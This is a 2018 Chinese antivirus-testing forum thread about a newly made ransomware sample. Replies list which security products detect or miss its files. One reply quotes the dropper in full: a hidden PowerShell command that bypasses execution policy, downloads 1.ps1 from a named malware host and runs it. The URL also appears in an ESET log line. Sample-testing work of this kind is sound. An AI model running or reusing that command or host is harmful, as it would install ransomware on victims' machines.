新做的勒索病毒-2018-7-5-完善版本

显示全部楼层 · 发表于 2018-7-5 03:04:11

本帖最后由 TheYuCheng 于 2018-7-7 03:16 编辑

比较完善了，有问题联系我

有兴趣的可以研究一下

加密算法：RSA4096+RC4

下载

显示全部楼层 · 发表于 2018-7-5 03:27:37

BD

ATD拦截regsvr32，网页监控检测hta为Exploit.HTML-PowerShell.Gen

显示全部楼层 · 发表于 2018-7-5 04:46:46

emsi miss

显示全部楼层 · 发表于 2018-7-5 05:56:55

我就觉得奇怪了，双击了怎么没反应，原来是被实机的ESET拦截了下载

http://xiaobaruanjian.xyz/XiaoBa/1.ps1;PowerShell/Filecoder.F 特洛伊木马;连接中断;NT AUTHORITY\SYSTEM;通过应用程序访问 web 时检测到威胁: C:\Windows\SysWOW64\vmnat.exe (8B683C897ECC6FA6881D29F6C41C7C159D65FA62).;F730A32FFDC01733B757DDB5F30E9CF3B2E0E58D;

复制代码

显示全部楼层 · 发表于 2018-7-5 05:59:17

本帖最后由 petr0vic 于 2018-7-5 06:21 编辑

761773275 发表于 2018-7-5 04:46
emsi miss

emsi blocked:

xiaobaruanjian.xyz

复制代码

BD engine - 1.ps1 Generic.JS.PowerWare.E4AD1D24 (B)

+drop

powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://xiaobaruanjian.xyz/XiaoBa/1.ps1','%Temp%\1.ps1');powershell.exe -ExecutionPolicy bypass -File %Temp%\1.ps1

复制代码

http://xiaobaruanjian.xyz/XiaoBa/1.ps1

复制代码

显示全部楼层 · 发表于 2018-7-5 07:33:22

ESET MISS

显示全部楼层 · 发表于 2018-7-5 07:45:58

显示全部楼层 · 发表于 2018-7-5 07:50:55

MSE
miss：重要通知[必看].doc
intercept&kill：Upxshell.exe

显示全部楼层 · 发表于 2018-7-5 08:31:03

Geralt 发表于 2018-7-5 07:50
MSE
miss：重要通知[必看].doc
intercept&kill：Upxshell.exe

这不算miss吧

显示全部楼层 · 发表于 2018-7-5 10:06:59

本帖最后由終極小壞蛋于 2018-7-5 10:27 编辑

360
重要通知[必看].doc miss
Upxshell.exe miss
1.chm Win32/Trojan.Exploit.4f5
——————————————————————
更新：
重要通知[必看].doc在360隔离沙箱中运行
拦截regsvr32利用

Upxshell.exe在360隔离沙箱中运行
拦截PowerShell利用

[病毒样本] 新做的勒索病毒-2018-7-5-完善版本

评分

本帖子中包含更多资源

本帖子中包含更多资源